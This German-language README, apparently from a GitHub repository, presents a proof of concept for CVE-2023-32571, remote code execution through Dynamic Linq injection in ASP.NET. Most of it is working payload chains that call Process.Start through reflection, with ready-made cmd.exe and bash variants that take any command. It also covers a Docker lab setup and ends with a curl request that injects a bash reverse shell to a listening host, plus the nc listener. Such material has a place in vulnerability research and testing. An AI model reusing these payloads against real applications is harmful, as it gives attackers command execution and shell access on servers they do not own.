
Proof-of-Concept für CVE-2023-32571, der Remote-Code-Ausführung über eine Dynamic-Linq-Injection in ASP.NET-Anwendungen demonstriert. Enthält Payloads und eine Docker-Lab-Umgebung zum Testen.
Kürzlich entdeckten Mitglieder der NCC Group eine Schwachstelle in Dynamic Linq, die es Angreifern ermöglicht, C#-Funktionen über eine Linq-Injection aufzurufen und so eine RCE zu erreichen.
Trotz des RCE-Berichts zu Dynamic Linq haben die Mitglieder der NCC Group aus irgendeinem Grund den PoC zur Ausführung von Befehlen nicht zur Verfügung gestellt.
Wie in der NCC Group-Forschung festgestellt, können wir C#-Methoden über "Invoke" aufrufen. Damit können wir "System.Diagnostics.Process.Start" aufrufen und Befehle auf dem Server ausführen.
Wir können die Methode "CreateInstanceFromAndUnwrap" verwenden, um System.Diagnostics.Process über die Assembly aufzurufen.
Payload zur Verwendung der System.AppDomain.CreateInstanceAndUnwrap-Methode:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
Payload zum Aufruf von System.Diagnostics.Process über die CreateInstanceAndUnwrap-Methode:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
Durch Zugriff auf die Methoden der System.Diagnostics.Process-Klasse können wir die Methode System.Diagnostics.Process.Start verwenden, um Befehle auf dem System auszuführen:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))
Anmerkung: Beachten Sie, dass der Payload nach den ersten 3 Start-Methoden sucht und die letzte nimmt. Ich habe dies getan, weil die Liste der Methoden in System.Diagnostics.Process mehrere Start-Methoden enthielt und die benötigte die dritte in der Liste ist.
Windows-Ziele
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
Installieren Sie Docker und Docker-Compose:
Debian
sudo apt update -y && sudo apt install docker.io docker-compose -y
sudo pacman -Syu && sudo pacman -S docker docker-compose
Klonen Sie dieses Repository:
git clone https://github.com/Tris0n/CVE-2023-32571-POC
cd CVE-2023-32571-POC
sudo docker-compose up --build
Die Anwendung startet unter http://localhost:8000/
Wenn wir die Route "/api/products" über die POST-Methode aufrufen, sehen wir, dass sie eine Liste von Produkten zurückgibt:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

Indem wir den Parameter name in JSON senden, können wir Produkte filtern:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

Nach einigen Tests sehen wir, dass wir die Injection in die Dynamic Linq-Abfrage durchführen konnten. Durch das Senden des folgenden Payloads konnten wir eine Reverse-Shell erhalten:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

nc -lvp 8001
